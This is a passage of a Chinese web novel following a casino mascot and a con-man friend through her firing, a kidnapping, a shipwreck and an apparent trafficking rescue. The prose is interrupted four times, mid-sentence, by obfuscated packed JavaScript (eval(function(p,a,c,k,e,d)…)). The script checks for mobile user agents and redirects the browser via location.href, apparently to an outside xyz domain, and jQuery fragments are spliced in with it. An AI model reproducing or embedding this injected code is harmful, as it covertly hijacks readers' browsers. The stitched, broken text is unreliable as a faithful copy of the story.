加上她整天被困在家里像个单脚跳跳蛙,身上冒绿气,两腮鼓起,怨颜深重,那副誓要在自我毁灭前多拉走几个大冤种垫背的架势,别把他客人吓跑就不错咯,还卖惨吸引流量。
瞎扯淡。
生意伙伴做不成归做不成,为了积福早日上牌桌重回巅峰状态,白窦桦还是对残疾人展开了一系列关照行动。
他拿着吴小卷家的备用钥匙,每日天不亮就去菜市赶场购买新鲜瓜果肉蔬,饭菜做好后放保温桶,无声无息把桶搁在她床头柜上,自己再出门摆摊。
吴小卷睡到自然醒,起床就能吃到热汤热菜和摆放得漂漂亮亮的水果拼盘。
傍晚收摊回家,白窦桦再上楼做一顿饭,等两人吃完,白窦桦带着白天的碗筷一起下楼收拾。
这种日子持续半个多月,吴小卷身上的怨气和伤痛通通消失了。
没有吴小卷时刻陪在身边,白窦桦从山里带来的特产也幸运地销售一空。
此时老板打来电话,问吴小卷的脚恢复得怎么样,让她第二天单独去他办公室一趟。
挂了电话,吴小卷翘出受伤的那只脚,收回,再抬起。
脚恢复得很好。
没怎么动弹,小腿还细了不少。
她摸着自己的腿,心猿意马,不由自主想起赌场闹事那天夜里。
——那天夜里。
白窦桦从洗手间出来后,问躺在洗手间的灭火器是怎么回事。
吴小卷依稀记得这是她有一次出门没关浴霸,回来时洗手间已经烧起来,慌忙叫人救命,房东帮忙提灭火器来灭火,最后忘了拿走留下的。
白窦桦又去厨房溜达一圈。
看见厨房里只有烧水的炊壶和一排鸡蛋,他回来问:“你平时吃什么?”
吴小卷:“鸡蛋啊。”
白窦桦:“只吃水煮蛋?”
吴小卷:“炊壶也可以煎鸡蛋。”
白窦桦:“我没看见有油。”
吴小卷理所当然:“我不喜欢油烟味。”
白窦桦:“干煎啊……”
白窦桦长这么大,没吃过干煎的蛋。
听说黄鼠狼吴小卷不久前还因为炸厨房被房东打消防电话,事后赔偿给了房东很大一笔钱。
他跟看着一个站在悬崖边上的人似的,带了点担忧的意味说:“我给你讲个故事吧。”
“从前有座山,山里有座庙,庙里有个老和尚和小和尚。老和尚好吃懒做,除了赶小和尚下山化缘之外,没有教会小和尚任何东西,后来小和尚混了脸熟,被山脚一众人家当成骗子拉黑,再也讨不到鸡鸭鱼肉吃,老和尚见状,悄悄带上庙里还算值钱
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16458250|185391||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
的东西,溜之大吉。”
“小和尚端着空空如也的泥钵回来一看,这平时和窝里连在一起的老秃驴长腿离家出走了啊,也没多在意,只是取消了每天化缘的行程,自己嚼点野果充饥。日子再久点,小和尚也不去河边挑水了,整日不是在附近扒拉点草根树皮吃吃就是躺庙里睡觉,下雨天舔一舔门前沟渠里的积水。”
“后来寒冬将至,老和尚的日子也渐渐难过起来,有一天他偷喝了外面供奉给佛祖的酒水,神志不清回到当初的破庙中,看到小和尚,二话不说抢走了小和尚囤积的树皮野果和保暖的稻草堆。小和尚失去所有傍身之物,痛哭流涕,哭累了就窝在墙角睡过去,最后冻死在了这天夜里。”
吴小卷长这么大,没听过这么莫名其妙的故事。
她:“啊?”
白窦桦要的就是这声“啊?”,他顺梯子往下,为故事释义:“意思就是你多少该懂点生存常识,你知道一个人每天最多能吃多少个鸡——”
吴小卷打断施法:“我不缺常识诶,我不了解就说明不是生活中常用的知识。再说生存不了我就死嘛,早死早轻松。”
顺口就问:“你爱我吗?”
白窦桦:“……”
神经。
吴小卷看出来他的回答,毫不在意道:“你又不爱我,啰哩巴嗦管我每天吃几个鸡蛋干什么。”
她嘀嘀咕咕:“没看出来你话这么多,讨厌啰嗦的人。”
白窦桦点头,不啰嗦了,言简意赅:“行。不管你。”
他起身拍了拍裤子上的褶皱。
吴小卷精神萎靡,后知后觉,等他拍半天才领悟这个动作的含义,急忙说:“你不要走,我想你留下来陪我。”
白窦桦作势抬脚。
吴小卷:“要我求你吗?”
“算了,”她又说,“哀求有用的话要警察干嘛。”
白窦桦挪动步子。
吴小卷飞扑一把,扯住他的袖子,跌落沙发,撤回之前的观点:“求你。”
白窦桦半边肩膀头子展露出来。
他回眸瞥一眼,吴小卷悻悻松开手。
没什么表情,白窦桦弯腰把吴小卷抱起来放回沙发,也没继续坚持要离开,而是走到电视柜前,取出跳跳棋,扭头说:“玩一局?赢了我我就包你好起来之前的生活费和医药费。”
次日清晨,他拿着备用钥匙进门送饭。
顺手把被吴小卷翻身挤到床沿不慎掉落的水果刀压回到了她的枕头底下。
……
老板打电话这天是吴小卷的生日,白窦桦出门去银行转账,答应晚上会酌情采纳吴小卷提出的做烛光晚餐的建议。
吴小卷窝在沙发里翘了半天脚,欣赏自己的美腿欣赏得够够的,心里躁得慌,突然就不想在家过生日,她走下楼,在巷子口等白窦桦。
等他回来带她去湖边看夜景。
吴小卷出了家门没多远就说脚疼,要人背。
湖面映出桥上通明亮光、湖边万家灯火。
一片波光粼粼的热烈灿烂。
此时吴小卷心安理得待在白窦桦背上,揽住他的脖子,嗅了嗅他身上干净清爽的皂角味,突然说:“你身上好香。咱们在一起吧。”
5. 在一起干什么
这两句话没有必然的逻辑关联,白窦桦被硬控了三秒钟。
身上香,所以要在一起?
三秒过后。
白窦桦谨慎而淡定地询问:“在一起干什么?”
吴小卷:“过日子啊。”
不是在一起分享用什么牌子的肥皂洗衣服。
香香的白窦桦没有铜臭味,他又顿了三秒,然后非常坦诚地告诉吴小卷:“我现在没钱了。”
因为装逼,也为了积德攒运气,他近来赚的大部分钱一半转给了村委会修路,一半捐给了希望小学改善食堂生活。
兜里只剩够买三瓜两枣新鲜鸡蛋和几张刮刮乐彩票的碎银。
吴小卷:“没关系,没钱可以办信——不是,没钱可以再挣,我不嫌弃你。”
沉吟半晌,白窦桦显然是在想新借口。
处于异常兴奋状态的吴小卷没看出来,只当他是习惯耍酷,或者害羞了反应慢。
她静静等着,嘴角扬着体贴的弧度。
但这次实在等了太久都没得到回应,吴小卷终于还是耐心耗尽,拍打白窦桦肩膀,催促道:“说话呀。”
“……”
在吴小卷面前,话多不讨喜,沉默也不允许。
片刻后,白窦桦紧抿的唇终于松开,掷地有声地婉拒:“不好意思。”
他说:“我是gay。”
咻——
砰,砰砰——
今天不知道是什么日子,还有人在湖边放烟花。
一个接一个,烟花飞向半空,顺利完成自爆任务。
白窦桦感受到吴小卷在背上的身体往上拱,猜测她可能是看烟花看入迷了,半天没出声。
虽然表白场合意见不合给彼此带来尴尬非常正常,但生活还在继续,两个人一直都不说话也不是办法。
“上星期预定好的烟花,你要来湖边看夜景,我干脆就请人帮忙运到这里放了。”白窦桦清嗓子,打破沉默,语调平静,尽量让自己听上去不居功,“祝你生日快乐。”
转而又补充道:“作为一个普通朋友的祝福。”
这话当真是震耳欲聋,犹如被人当头一棒的吴小卷拱起来的上半身下放,消失有一会儿的脑电波重新开始波动,跟声音一起夹紧的腿松开:“我去。”
一个普通朋友,可以起早贪黑照顾她的日常起居,可以花心思为她准备生日惊喜,但是不能爱她。
什么原理?
哦,他是gay。
下棋输了她一局的gay。
吴小卷环着白窦桦的脖子落地,还不可置信,抓住细微的证据反驳:“你是个gay,你看到我内衣内裤后去洗手间一待待半天?”
白窦桦瞬间明白他和吴小卷之间的误会症结所在,皱了皱眉,讲清楚当时的情况。
“拉屎。”他闭眼回忆,解释说,“可能是便秘,所以待的时间有点长。”
*
赌场很冷清,可见祸事虽然平息,但留下的恶劣影响短期内难以消弭。
老板让吴小卷一个人去他办公室,吴小卷却带上了个男的。
吴小卷挽着那男人的小臂,全须全尾,手脚便利,就这么水灵灵地出现了。
老板盘佛串盘了半天,偷瞄一眼穿着质朴寒酸、和往常其他客人都不一样的白窦桦,再看向这段日子被养得白嫩似萝卜的吴小卷,说:“坐吧。”
吴小卷坐在办公室里唯一的单人椅上,拍拍梆硬的扶手,示意白窦桦坐上去:“快来。”
闺蜜。
白窦桦当没听见,抱臂靠在门框边。
老板单手捏着佛珠,另一只手握着自己定做的人体工学沙发扶手,暗叹老实人原来也不是完全没有脾气、任人摆布。
吴小卷觉得好奇:“老板你摇头是有什么指示?”
老板没意识到自己原来摇头了,抬起下巴,说没什么指示,并就势开始跟她谈话:“你也看到了——”
吴小卷很有眼力见:“嗯嗯,我不在的日子里,老板你的伙食确实不错,胖了很多,下巴抬起来的时候竟然都是双的。”
老板摸摸下巴:“——赌场最近的生意不好,所以管理层决定做出一些改变,比如——”
吴小卷惊喜溢于言表:“真的吗,管理层怎么知道其他场子在市场萧条的时候会让员工食堂每天安排十菜十汤,还会分天气、时令准备8种不同的水果零食小蛋糕?寓意着十全十美,意气风发。”
老板手一哆嗦,在自己下巴上捏出了个红印子。
吴小卷这人老板是知道的,盘正条顺青春靓丽,是管理层当初面试几个月千挑万选出来的镇场吉祥物,为的是让客人看到她这么个美人站在那儿,就不舍得走出赌场。
如今吴小卷褪去了刚入职时的清纯稚嫩,五官越发精致妩媚,气质也变得奔放热烈,再加上见多了形形色色的客人,也多少知道什么时候该欲擒故纵拿捏进退,什么时候该直白出击撒娇挑逗,活像是一朵怒放的红玫瑰成了精。
但和花期很长玫瑰精十年如一日稳定发挥的美貌值相反,吴小卷的精神状态随着时间推移,倒是越来越飘忽不定难以捉摸,在职场上没几个激情昂扬力争上游的时候就算了,更可怕的是她还把东家当成空气,所作所为无一不违背管理层当初选她入场的初衷。
——上班期间以丢垃圾为由出门购买茶叶蛋、发疯般游走到牌桌旁,用桌沿磕碎蛋壳库库一顿炫、趴到客人背后,抽走客人嘴里叼着的烟踩灭,企图把赌瘾上头正玩到一半的客人勾走拐带到自己家,那是常有的事。
出门应酬聚餐,十次有八次找理由说家里着火不能去,剩下两次去是去了,但借着醉意把酒局搅成了一锅乱粥,弄得大家脸上都不好看。
……此类总总,数不胜数。
哼,也只有上次送礼的时候看起来还有个正经样子,很有可能是她自己也预感到一些不妙的苗头,突然开了窍。
老板早已经对吴小卷这张俏脸免疫,但像是看在假人参的面子上,又一次宽容了吴小卷的放肆。
他稳了稳心态,尽量不受影响地继续说:“比如对现有员工和部门配置进行一些优化,清退一些并不吉祥的吉祥物。小卷,其他单位我不知道,但你来场子这几年,我自认从没亏待过你,相信在某个瞬间,你也是能感受到我们之间存在的温情的。”
吴小卷抠脸:“哪个瞬间?”
她试探:“意思是咱们真的打算要建自
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16458251|185391||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
己的员工食堂,对吗?”
吴小卷满心憧憬这个温情瞬间:“客人剩下的食物和酒水,都可以清退出去,直接丢掉不用囤着做储备粮了,是吧?”
“我也再不需要自费去买门口齁咸的茶叶蛋吃了,相信食堂一定会有属于自己的能够提供稳定产量的下蛋鸡,来作为单位新的吉祥物。”
老板:“……”
宽容不了一点。
早知道这么快就要把吴小卷裁掉,他就该拒绝收下眼前这个笨蛋送的那些烂桔梗子。
桔梗子真让人心梗。
他重重靠向沙发椅背,没接话茬,换了个聊天方式,试图开门见山:“那天来砸场子的人,你知道是受谁指使的吗?”
吴小卷不知道啊。
她思考良久,真心实意,撇清责任:“不是我哦。”
然后突然想起来自己都还没就这件事邀功,吴小卷清了清嗓子,委婉道:“老板,我的临危不惧奖、团结友爱奖、见义勇为奖、工伤补助金呢,优化后的财务部门应该很快就能发放到位吧?”
白窦桦侧过脸,垂头弯眼鼓了鼓腮帮。
老板放下单手在盘的核桃,使劲闭眼,整个眼眶周围的肌肉皱成一团。
直接略过吴小卷臆想性编造的这奖那奖,他放弃转移话题,说:“工伤赔偿得等你工伤认定书下来。”
吴小卷不是很满意的样子。
她还送礼了呢,就非要按流程规规矩矩地来吗。
这憨批老板怎么一点不懂人情世故。
难怪事业一直搞不上去哈,有这眼力见,换啥吉祥物也不顶用啊,前途只会和他的视线一样,极度渺茫。
下次给他送个老花镜吧,瞧那挤出来的鱼尾纹,都能夹苍蝇了。
“我就直说吧。”半晌,老板终于放松肌肉,睁开疲惫的双眼,“我找大师算过,这个场子风水相比最开始的时候,发生了一些变化,我能不能再把生意做下去,取决于是否尽快剔除扰乱因素。”
他挺起腰,朝前倾,手肘搁在膝盖上:“今天我找你来,也没有别的意思,就是想站在长辈的立场上,提点你,亲情、友情、爱情、同事情,说到底都是一种缘分,良缘还是孽缘,都不是个人意志能够改变的,那么就是说,是福不是祸,是祸躲不过,谁在感情道路和职业道路上都不可能一帆风顺,有时候听天由命不是摆烂,而是你自信的状态,毕竟缘,妙不可言。”
吴小卷哦哦,没听懂,也毫不在意,思维跳跃,打回旋镖:“扰乱因素,是指砸场子的人吧,那么他们背后的人到底——”
老板发现自己已经被吴小卷传染了语言功能障碍,满嘴胡言乱语,自己也没听懂自己在说什么,赶紧捧着脆弱的心口打断还要添乱的她:“你先别说话。”
他盯着吴小卷,这个可以说是他看着成熟长大变态发育的孩子,似是还有很多话想说,但最后组织失败,只是再次闭眼,嘴里喃喃一句阿弥陀佛,道:“隔行如隔山,我祝你成功吧。”
太含蓄了,吴小卷依旧没听明白,脑袋空空地跟老板道谢,被人事领去拿完这个月工资转给房东,还了信用卡。
走出赌场的门,就和白窦桦一起,被人迷晕拖麻袋扛走了。
6. 闺蜜你
等清醒过来,吴小卷已经身处大海之上。
天空在下雨,滴答滴答砸到甲板上,也砸到人的肉/体上。
她抹一把脸上的水珠,迷迷瞪瞪爬坐起来,抬手去扯身上的衣服。
被人阻止了。
吴小卷这才发现白窦桦就在自己身边,他拢着她的衣襟,低声说:“别动,好不容易找到一件救生衣穿在你外套里了。”
吴小卷反应几秒,看了看身上的外套,是一件军大衣,已经被淋湿了,海上风大,温度也低,穿着不闷人。
潮人。
她没问现在是什么情况,感受了一下,只道:“这外套不是我的,而且外套里只有一件内衣。”
白窦桦纠正:“外套里还有救生衣。”
他说:“其余的我都给脱了,多穿一件就多一些臃肿,容易引人注意。”
吴小卷非常熟练:“你爱我吗?”
白窦桦亦然:“我是——”
吴小卷摆手:“行了行了,我知道你是gay,你不会爱我,也不会对我负责。”
一阵推拉扯皮之后,吴小卷看清了周围的环境。
这是一艘渡轮,甲板上不仅有她和白窦桦,还有大约十几个人,长相各式各样,服装春夏秋冬,有的趴地上面色发青地呕吐,有的扯着嗓子大声嚎哭,有的缩成一团瑟瑟发抖。
脸上是统一的恐惧与惊慌。
“怎么回事?”吴小卷终于想起来问一问自己的处境。
白窦桦脸色苍白,捂着额头,看上去不怎么舒服。
“不知道,我醒过来的时候就已经在船上。”
“五分钟前,渡轮撞上不明物体。”他说,“大家跑到甲板上,发现船长和船员已经坐救生艇逃生,这里的人都被丢下了。”
吴小卷:“船撞破了吗?”
白窦桦:“破了。”
吴小卷:“要死。”
白窦桦:“不一定。”
吴小卷心想没看出来你还挺乐观。
她把白窦桦扯得离她更近一点,隔着他被雨水淋透的衬衣摸了摸他精壮的身体,问:“你的救生衣呢?”
白窦桦:“我没有。”
“那如果沉船你打算怎么办?”
“跳海,拽着你。”
吴小卷又挣扎着要扒拉自己的衣服。
白窦桦按住她的手:“干什么?”
吴小卷:“你不能拽着我,你比我沉,我怕你把我拽翻了。”
她目光灼灼:“我把救生衣脱下来给你穿。”
白窦桦静默两秒,问:“然后你拽着我?”
吴小卷不认可:“你抱着我。”
她做手臂环绕抱圈动作,边示范边道:“这样,抱紧点,我就不用动了,节省体力,咱们一起漂海上等待救援。”
“……”
“……”
好。
好好好。
好一个节省体力。
遇事总做出一副风平浪静模样的白窦桦,这下也忍不住表情扭曲。
他太阳穴直突突,不清楚此时的头疼脑胀是因为之前被砸了几闷棍放倒引起的还是被气的。
两个人僵持不下。
白窦桦尽量心平气和地阐述:“我的身体从来没有出过毛病。”
吴小卷马上找出漏洞:“你撒谎。之前还跟我说你小时候发烧差点烧坏脑子。”
白窦桦打补丁,在前一句话开头添上时间状语:“成年之后。”
吴小卷哦豁:“你骗人,前段时间你还用了我的医保卡。”
白窦桦深吸了口气。
多说多错。
他干脆闭上嘴,拉起吴小卷的手掌,放到自己后脑勺上,让她感受那里鼓起的大包。
吴小卷面带惊讶,恨不能把“我扔包砸你已经是很久以前的事了,这可不是我弄的,别赖我”写在眼眶大屏幕里滚动播放。
白窦桦倒也没碰瓷,坦言:“这是被之前绑架我们的人打的。”
吴小卷“啊”了一声,感受一下自己的身体,觉得没有哪里疼,不解道:“那为什么我没被打?”
“因为在打你之前你已经自己先撅了过去。”白窦桦解释说,“而我对市面上常见的麻醉药物耐受,不容易被迷晕。”
“不过这不是重点,重点是遇见你之后,我的脑袋就没过过几天舒坦日子。”白窦桦盯着吴小卷的眼睛,话锋一转,“在遇见你之前,我也从来——很少输过钱。”
提钱就伤感情了。
吴小卷脸上的惊讶变成防备:“你什么意思?”
想把这些天的生活费和医药费要回去?
那可不行,跳跳棋是他自己提议玩的,愿赌服输。
幸而白窦桦好像没这个意思,他只是兀自说下去:“如果顺利的话,我会在进赌场的第一夜就大赢一场,成为丝状国富豪榜新星,荣华无限,现在正躺在豪华游轮上吹着海风,沐浴阳光。”
吴小卷很震撼,喔着嘴。
你小子挺会梦。
白窦桦自述的梦想固然夸张,但细思极恐之下,吴小卷似乎有点懂了这话里的思想感情,缩回手,委婉地表示:“假设的事,没有任何实际意义。”
拂过脸颊的空气在流动,她感受一番:“再说了,你现在也正吹着海风呢。”
白窦桦静静看她。
吴小卷拍拍屁股底下淌水的甲板,惺惺作态宽慰梦男:“喏,游轮。”
白窦桦仍旧默不作声。
对着白窦桦这张疲惫似讨债鬼的脸孔,吴小卷有些心虚,相对平静的情绪逐渐被打破,勾起焦虑:“天气是不大好,那你躺下自己再构想构想呢?”
构想不出来是你的问题,别摆出一副幽怨的神情。
又不是我直接害的你,谁也不想在这风里雨里听人又哭又嚎又晕船吐水的。
白窦桦没再费劲强制去拉她的手。
他抹了一把自己满是雨水的脸,不争论,点明道:“我的运气一直不错,但你运气太差,还故意把霉运传递给我。”
吴小卷这就很不服气了,激情翻旧账:“是你自己要的!你还骗我买假人参,你心脏了,心脏就会运气差。”
她痛心疾首,表情非常失望:“小白,做人不能遇事只怪别人,有时候也得想想自己的原因。”
白窦桦点头:“我有问题,所以我认栽。”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16458252|185391||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
>他又说:“但现在是非常时期,仅有我一个人的觉悟不够,还需要你稍微收敛自己的磁场,我们共同配合渡过难关。”
天空雷电交加,云层像被捅穿了无数个洞,不停往下漏水。
吴小卷睫毛上的雨滴聚集又滑落,把平时根根分明的睫毛黏成一簇一簇,耷拉着,抹掉了她刚才的强势声张,显得人楚楚可怜。
她问:“怎么收敛?”
白窦桦:“听我指挥。”
吴小卷没作声。
白窦桦:“这样吧,咱俩玩一把,石头剪刀布,谁赢了——”
上次两人开赌,白窦桦输了,得到支付吴小卷半个月生活医药费和被吴小卷邀请一起过日子的惩罚。
他想了想,说:“谁输了听谁的。”
吴小卷输了,白窦桦愕然。
看似赢了实际又输了的白窦桦不耍赖但嘴快,他尽最后的努力分析:“你穿救生衣,我拽着你,万一脱力放手,你继续漂着等待救援,我大概率也能够以其他方式获救。反之,如果我穿救生衣抱着你,一旦手软没抓住,你大概率就凶多吉少生机渺茫了。”
吴小卷收回败北的剪刀手,道:“这个概率是根据什么得出来的?”
白窦桦:“运势。”
有点道理。
吴小卷暗暗懊恼,然后抬起沉重的眼皮,不计较输赢地问:“你确定只要听你指挥,我们两个最后就都会得到救援,是吗?”
“是的。”白窦桦单手捧起她的脸,大拇指抹了抹她的眼睛,语气笃定,“早晚的事。”
头上长包的男人,不晓得哪里来的自信。
“好嘛。”吴小卷无奈地闭眼,不再纠结地去扯救生衣,妥协道,“那等下跳海之后给你拽拽也不是不可以。”
浓厚乌云里响着闷雷,海浪像随时会吞噬一切的怪物,卷动翻涌。
刚刚还蜷缩在甲板上满脸绝望的人们分散开,去已经被水淹了小半的船舱里寻找救生用品。
吴小卷和白窦桦跟在这些人后面,装作也在寻找的样子。
在同一个货物架上不停翻找,两人不知道在找什么,但很忙。
她和他一个蹲马步从下往上找,一个抻胳膊从上往下找,一个缓缓起身,一个慢慢低头,越凑越近,窃窃私语——
吴小卷拿俩鲱鱼罐头,一手一个,上臂贴身固定,小臂往上提,在长肌肉:“你脱我衣服的时候有没有被人看到?”
白窦桦撑着货物架,直臂,弯手肘,再直臂,循环往复,嘿咻嘿咻做“俯卧撑”,摇头:“一开始我们和其他人没被关在一个仓库,仓库的门在撞船进水以后被打开,我趁乱套好衣服才抱你出去。”
吴小卷暖心,肱二三头肌都发热:“孤男寡女共处一室,幸好你是gay。”
白窦桦懒得搭理她,手一抬,结束健身,走了。
大概过了半小时,海水几乎要没过仓库顶端,大家没办法,找不到救生用品,只能回到甲板上,抱着奋力撬的几块板子,当做浮木,弃船跳海。
在狂乱的浪潮中,吴小卷手里的罐头被冲走,她的意识慢慢涣散,只感觉到一直有人拽着自己,死沉死沉的,害她喝了不少海水。
7. 服从安排
大清早的,阳光穿透云层,吴小卷和白窦桦在海里不知道漂了多久,终于在不知名沙滩上靠了岸。
吴小卷瘫在湿湿的沙子里,皮肤上黏着海水蒸发晒出的结晶体,整就一条搁浅的咸鱼。
不久后白窦桦回到她身边跪好,把卷起的芭蕉叶向下倾斜,吴小卷喝到了久违的淡水。
甘甜得像是蜂蜜。
“起来了,小吴。”她听到沙哑的男声在叫唤。
吴小卷礼貌地表示收到:“小白小白。”
她咽了口唾沫:“请给我食物。”
啪——
带着水珠的芭蕉叶被甩到吴小卷脸上。
吴小卷没动弹。
一是饿得没力气,二是芭蕉叶正好给她遮住太阳,躺得更舒服了。
她爱自己这淡淡的死感。
做了几个梦,在梦里嚼了些软趴趴的浆果,时间不知不觉过去,来到傍晚。
吴小卷终于被冻得躺不住,挺尸般弹坐起来,没看见白窦桦。
嗯嗯,会有人来救我们的,早晚的事。
吴小卷阴阳怪气地学白窦桦,自言自语。
骗子果然是骗子,说不了一点实话。
她和他都不知道漂到哪座荒岛了,也没见有谁来救。
脱掉身上的衣服,吴小卷光着膀子活动活动身体,爬起来,抖了抖军大衣上的沙砾,又穿上,抬脚去找人。
白窦桦手握尖石块,在小林子里砍树枝,准备在夜晚降临之前想办法生火。
吴小卷来到他身后,问他有什么需要帮忙的。
白窦桦挥挥手示意:“你去附近走走,捡两块石头给我。”
吴小卷领命而去。
过了一会儿,她带着家伙,得意地往白窦桦眼前凑。
掌中握的是两小块圆滑的心形石头,她找了半天。
“噔噔,你喜欢大海,我爱过你。”
白窦桦长长叹出口气,落寞地转身,丢掉手里被磨平棱角的石块,自己去找趁手的新工具。
*
沙滩上。
白窦桦固定住脚下的木板,在黑暗中第一百零八次尝试钻木取火。
吴小卷头发干燥炸毛,小野人儿似的盘腿而坐,手里捧着烂石头,放在胸前,瞧瞧白窦桦那边擦出的火星子,再眺望海面上的波光,嘴里一会儿一声傻笑。
白窦桦生起火来,坐过去,一只手拿着树枝,一只手撑住膝盖,歪头看她:“怎么这么开心,不是刚交完房租?”
“没事哒。”吴小卷也歪头,装大款,“钱又不是什么很重要的东西,哪里值得影响我心情。”
“钱不是重要的东西,哥哥是很重要的东西吗?”白窦桦用树枝在沙滩上随意画圈,继续问她,“你办一张信用卡被你哥刷爆一张,都一直没想过要改密码?”
吴小卷看着他,眼睛睁大,露出完整明亮的瞳仁儿,似是有些惊讶怎么突然聊到吴大朗这里来了。
白窦桦坦然与她对视,眼睛里是清澈的愚蠢,看来不是心血来潮,是疑惑已久。
一直想,一直想,想不通,但没有找到合适的机会发问。
现在机会终于出现了。
被人揭开家里的丑事,吴小卷也不恼,她觉得好笑。
于是就低下头真的笑了笑。
白梦男整天尽琢磨这些没用的,又内耗又记仇。
难怪便秘。
吴小卷讨厌满嘴大道理自以为是教她做事的人,但白窦桦这小东西凡事都先敏感内耗,做事细心周到,说话拐弯抹角,讲道理模糊让人难以get到,做白日梦很有一套,遇见不懂的事情还会记在心里找机会问道问道,挺好玩的。
将下巴抬起,吴小卷对好玩儿的白窦桦答疑解惑:“我哥那人不是东西。”
态度一缓,又讲:“但他对我还是有点重要的。”
“而且信用卡嘛,办来就是给人花的,哪天我信用差到极点,自然就花不了了,改密码有什么必要,我记不住。”
对于钱,现在的吴小卷态度很是无所谓,摊手:“命都快没了,还管什么信用卡,死人哪里还有信用,谁拿着都刷不了。”
她平静得像是身后长出洁白羽翼的天使,缓缓升空,嘴巴一张一合,在说哈利路亚。
“……”
白窦桦觉得这人矛盾得不行。
——把一点小费攥得死紧,转头就能花大钱买不知真假的人参;
当着哥哥面什么话都骂得出来,背后却说哥哥对她很重要;
关键时刻豁出去为同事出头,平时却不怎么会拉关系,打电话卖个货就被拉黑,莫名其妙离职时也没人出面帮她说一句话。
还有。
随随便便找个人就能脱口问爱不爱她,像是很想得到肯定的回应,结果那人爱不爱对她都没什么影响,她做什么有她自己的计划和节奏;
经常把死字挂在嘴边当韵脚,每顿饭却能吞一排蛋……
白窦桦盯着吴小卷。
吴小卷突然朝他撒了一把沙子,看着他失色的样子,笑得狡黠。
白窦桦:“……”
他把脸上的沙抹掉,欲言又止,最后只道:“我在这里,你不会没命的。”
吴小卷立刻面露感动:“小白你真好,有你在真让人安心。”
转脸就没了表情,目光呆滞地盯着火苗。
她身后隐形的翅膀掉下羽毛,背景天堂秒变地狱。
说实话,这条命留着也不是什么令人期待的好事,早就有点活不下去了,只是又下不了决心真的嘎掉。
死人微活,呜呼哀哉。
吴小卷想到什么,又变脸朝白窦桦笑笑。
大哥你先管好自己吧,欧皇光环似乎不太管用呢。
这时海上有光束闪动晃过,像是黑白无常的探照灯。
吴小卷起身一点不含糊,丢了手里的石头和细沙,跑到海边,跳起来挥手。
“诶——我们在这儿——这里有人——救命啊——”
死不可怕,可怕的是被寒冷和饥饿反复折磨。
吴小卷拎得很清,要死就得速死,如果不能一下子痛快嗝屁,那还是抓住机会再活一会儿吧。
小船慢慢靠岸。
白窦桦手握一根长长的树枝,缓步走近岸边,把修磨得锋利的那头向前倾,简简单单cos一个英勇角斗士。
船上下来一个皮肤黝黑的柴瘦老头,问:“你们是不是从一艘沉船上跳下来的?”
吴小卷嗯嗯。
老头点头,给了两人水、食物还有保暖衣物:“跟我走
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16458253|185391||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
吧。”
角斗士白窦桦以为获救,顺从放下树枝,伸手接过物资。
吴小卷却不会觉得自己的运气这么好,蹲地上捡起尖头树枝,多问了一句:“去哪儿?回城里吗?”
嗯,回城里,吴小卷和白窦桦将被拉到国外的城镇里。
中途意识到不对的白窦桦已经来不及动作,嘴里含着面包又被一棍子敲晕过去。
吴小卷看了倒地不起的男人一眼,丢掉树枝,双手举过头顶,识时务地表示她不反抗,别敲她。
她认为这老头大概是和绑走她和白窦桦那群人一伙的,感叹坏蛋真是会降本增效,就雇一个大龄从业者摸黑挨个打捞受害者呢。
“老人家,我能问一下,我们为什么会落到你们手里吗?”她脱掉军大衣,边帮忙把白窦桦拖上船,边礼貌地提问。
老头瞧吴小卷一眼,解释得不清不楚:“你们被人出卖来到海上,现在好不容易被救起,理应服从安排,哪里需要就会被分配到哪里。”
吴小卷听话只听一半:“被谁卖了?”
她想起什么,倒吸一口凉气,下意识捂住了白窦桦的耳朵。
“被我老板卖了?”吴小卷颤声道,“还是被我哥卖啦?”
“我就知道,这俩穷酸玩意儿,都不是什么好东西,处心积虑就是要把我往死里坑,老娘千躲万躲还是没防住!”
*
那老头不知道吴小卷的老板不老板,哥不哥的,他只把自己当成个单纯的npc,不触发关键词不会说多余的话。
于是吴小卷没得到答案,她被稀里糊涂地送到“需要劳动力”的地方。
